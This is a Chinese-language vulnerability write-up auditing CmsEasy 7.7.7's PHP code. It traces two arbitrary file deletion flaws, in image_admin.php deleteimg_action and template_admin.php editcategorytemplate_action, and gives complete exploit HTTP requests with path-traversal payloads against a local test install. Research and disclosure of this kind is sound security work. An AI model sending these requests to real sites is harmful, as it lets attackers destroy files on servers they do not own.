起因
寒假时候开始初学php代码审计,成功审出了自己第一个CVE
首先
去官方网站下载他的源代码
发现他的并不是已直接/xxx/xxx/xxx.php进行访问的页面的,
接着就需要分析他的目录结构了。
经过测试发现他的lib/admin目录下的文件中的xxxx_admin对应的就是他后台case参数的请求,然后类中的xxxx_action方法的话就是对应着后台act参数的请求可以访问到xxxxx_admin.php
目前已经熟悉了网站的流程。
接着我们对于审计出来的漏洞进行分析
第一处任意文件删除
在image_admin.php文件里面有deleteimg_action方法并且看到存在unlink危险函数
于是便想到了是否存在任意文件删除漏洞,并且之前也提到过就是我们可以通过xxxx_admin对应的就是他后台case参数的请求,然后类中的xxxx_action方法对应着后台act参数的请求是可以进入到image_admin.php的
接着就是看有没有我们可控的参数
这里看到他有俩个变量:分别为get('dir')与 $imgname 并且发现$imgname是由front::get('imgname')得到的,并且对于$imgname设置的过滤,不能通过../../来遍历到上一级目录
但没有对于get('dir')进行过滤,由此我们需要判断dir是否可控,我们跟进去
跟进去发现他是将$get返回,我们接着跟进去
看到定义了一个$get静态方法。
全局搜索后发现,这个get其实就是$_GET。由此判断这个dir是可控的,并且他没有进行过滤
在cn目录下面创建一个1.php文件
然后我们传入构造好的exp
GET /index.php?case=image&act=deleteimg&admin_dir=admin&html_prefix=../&dir=../../../cn&imgname=1.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1/index.php?admin_dir=admin
Cookie: PHPSESSID=5e5m0fg9o8q7g33hjh3psli35r; login_username=admin; login_password=ipKgmUmdooa740qQkh537ndf4T2s4n64pznX0hpaOpa3D2ab18391e6e61e99aff8e10d05e4ad02
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
文件成功被删除
第二处任意文件删除
这次受影响的代码在template_admin.php里面
在editcategorytemplate_action方法中存在unlink危险方法
阅读代码发现这里的module_name是我们可控的,这个front::$post和之前的front::$get一样,这个post是由$_POST来获得的
发现参数可控并且没有进行过滤操作,因此我们便可以通过../../返回上级目录来进行任意文件删除操作
但是需要注意这里的$module_name进行了一个模糊匹配,看是否是{tag_xxx_xxx_xxx}类型,如果是这种的话,会进行分配给$module_type、$module_name和$module_id。
由此我们需要构造的module_name是以这种格式的:{tag_xxx_xxx}并且$str[4]为$module_id的值
对于具体的流程,我们还可以修改之前的源码,添加一个$a来打印被删除文件的路径。
正常的删除路径是这样的
但如果在2前面添加../../,则会实现目录穿越,从而删除CmsEasy_7.7.7_UTF-8_20240105\cn\template下的2.php文件
文件删除成功
exp:
POST /index.php?case=template&act=editcategorytemplate&admin_dir=admin HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/index.php?case=template&act=editcategorytemplate&admin_dir=admin
Cookie: PHPSESSID=202i8cbtlhlm9kmg95htiu1rb0; loginfalse=0; sidebar_backgroundImage=url("http://127.0.0.1/common/plugins/switcher/images/bg/01.jpg"), linear-gradient(45deg, rgb(51, 51, 51), rgb(51, 51, 51)); login_username=admin; login_password=hPJmzhrr-c1TJPHwEkqS3kG4Le7RnPpQ2kVc6QGW7sOeX2ab18391e6e61e99aff8e10d05e4ad02
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
id=1&module_name=213&module_name=%7Btag_buymodules_category_s_1_%2F..%2F..%2F..%2F..%2F2%7D